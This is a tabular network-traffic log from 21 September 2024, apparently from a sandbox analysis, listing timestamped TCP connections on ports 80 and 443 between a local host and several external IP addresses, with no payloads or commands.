Sep 21, 2024 13:33:42.163346052 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.163352013 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.163369894 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.163393021 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.163393021 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.163459063 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.165632010 CEST	443	49723	185.166.143.50	192.168.2.9
Sep 21, 2024 13:33:42.165733099 CEST	49723	443	192.168.2.9	185.166.143.50
Sep 21, 2024 13:33:42.172775030 CEST	49723	443	192.168.2.9	185.166.143.50
Sep 21, 2024 13:33:42.172825098 CEST	443	49723	185.166.143.50	192.168.2.9
Sep 21, 2024 13:33:42.173125029 CEST	443	49723	185.166.143.50	192.168.2.9
Sep 21, 2024 13:33:42.173178911 CEST	49723	443	192.168.2.9	185.166.143.50
Sep 21, 2024 13:33:42.175117016 CEST	49723	443	192.168.2.9	185.166.143.50
Sep 21, 2024 13:33:42.176641941 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.176773071 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.176817894 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.176847935 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.176898003 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.176898003 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.176898003 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.176932096 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.176958084 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.176983118 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.177016973 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.177028894 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.177028894 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.177048922 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.177083015 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.177108049 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.177108049 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.177131891 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.177138090 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.177166939 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.177200079 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.177236080 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.177239895 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.177239895 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.177285910 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.177320004 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.177355051 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.177361965 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.177361965 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.177392960 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.177407980 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.177483082 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.177572966 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.177611113 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.177643061 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.177665949 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.177665949 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.177676916 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.177685976 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.177710056 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.177742004 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.177756071 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.177756071 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.177773952 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.177802086 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.177824974 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.177855968 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.177865982 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.177865982 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.177890062 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.177922010 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.177928925 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.177928925 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.177957058 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.177995920 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.177995920 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.178005934 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.178039074 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.178071022 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.178076982 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.178076982 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.178103924 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.178129911 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.178137064 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.178169966 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.178177118 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.178177118 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.178220987 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.178231955 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.178258896 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.178296089 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.178354025 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.178430080 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.178467035 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.178481102 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.178540945 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.178620100 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.178653955 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.178688049 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.178689003 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.178721905 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.178734064 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.178734064 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.178772926 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.178775072 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.178806067 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.178839922 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.178865910 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.178879976 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.178890944 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.178925037 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.178957939 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.178989887 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.179008007 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.179008007 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.179025888 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.179045916 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.179080963 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.179200888 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.179234028 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.179269075 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.179279089 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.179279089 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.179299116 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.179414034 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.183161020 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.183300972 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.183339119 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.183371067 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.183408976 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.183427095 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.183458090 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.183490992 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.183506966 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.183506966 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.183545113 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.183566093 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.183594942 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.183630943 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.183662891 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.183686972 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.183686972 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.183696985 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.183729887 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.183762074 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.183763027 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.183763981 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.183794022 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.183796883 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.183830976 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.183835030 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.183865070 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.183876991 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.183876991 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.183897972 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.183914900 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.183952093 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.184012890 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.184106112 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.205388069 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.205404997 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.205430031 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.205446005 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.205461025 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.205461025 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.205476999 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.205483913 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.205507994 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.205555916 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.205570936 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.205586910 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.205871105 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.215398073 CEST	443	49723	185.166.143.50	192.168.2.9
Sep 21, 2024 13:33:42.220740080 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.220809937 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.220869064 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.220920086 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.220928907 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.220954895 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.220959902 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.220988989 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.220993996 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.221023083 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.221031904 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.221056938 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.221066952 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.221092939 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.221100092 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.221136093 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.221291065 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.221323967 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.221342087 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.221357107 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.221364975 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.221398115 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.221422911 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.221431017 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.221452951 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.221465111 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.221487999 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.221502066 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.221524954 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.221587896 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.221647978 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.221699953 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.221730947 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.221764088 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.221786976 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.221797943 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.221821070 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.221832037 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.221852064 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.221864939 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.221874952 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.221910954 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.235276937 CEST	443	49727	162.241.61.218	192.168.2.9
Sep 21, 2024 13:33:42.235299110 CEST	443	49726	162.241.61.218	192.168.2.9
Sep 21, 2024 13:33:42.235409975 CEST	49727	443	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:42.235454082 CEST	49726	443	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:42.239140034 CEST	49727	443	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:42.239149094 CEST	443	49727	162.241.61.218	192.168.2.9
Sep 21, 2024 13:33:42.239288092 CEST	49726	443	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:42.239343882 CEST	443	49726	162.241.61.218	192.168.2.9
Sep 21, 2024 13:33:42.239543915 CEST	443	49727	162.241.61.218	192.168.2.9
Sep 21, 2024 13:33:42.239715099 CEST	49727	443	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:42.239744902 CEST	443	49726	162.241.61.218	192.168.2.9
Sep 21, 2024 13:33:42.240058899 CEST	49726	443	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:42.240119934 CEST	49727	443	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:42.240291119 CEST	49726	443	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:42.245718002 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.245788097 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.245821953 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.245836973 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.245837927 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.245856047 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.245898962 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.245902061 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.245903015 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.245915890 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.245946884 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.245965004 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.245965004 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.246000051 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.246033907 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.246068954 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.246082067 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.246082067 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.246100903 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.246134996 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.246145964 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.246145964 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.246166945 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.246200085 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.246211052 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.246211052 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.246232986 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.246279001 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.246282101 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.246282101 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.246294022 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.246308088 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.246340990 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.246340990 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.246701956 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.246782064 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.246833086 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.246867895 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.246876955 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.246876955 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.246900082 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.246934891 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.246947050 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.246947050 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.246967077 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.247000933 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.247014046 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.247014046 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.247033119 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.247067928 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.247077942 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.247077942 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.247101068 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.247145891 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.247145891 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.247903109 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.247936964 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.247968912 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.247982979 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.247982979 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.248003006 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.248035908 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.248050928 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.248050928 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.248070002 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.248102903 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.248116970 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.248116970 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.248153925 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.248187065 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.248197079 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.248197079 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.248224974 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.248236895 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.248260021 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.248291969 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.248303890 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.248303890 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.248323917 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.248354912 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.248389006 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.248408079 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.248408079 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.248445034 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.250022888 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.250080109 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.250152111 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.250201941 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.250221968 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.250236034 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.250262022 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.250269890 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.250293016 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.250304937 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.250328064 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.250341892 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.250365019 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.250401020 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.250431061 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.250463963 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.250487089 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.250499010 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.250520945 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.250533104 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.250541925 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.250569105 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.250577927 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.250600100 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.250614882 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.250647068 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.250758886 CEST	80	49709	147.45.44.104	192.168.2.9
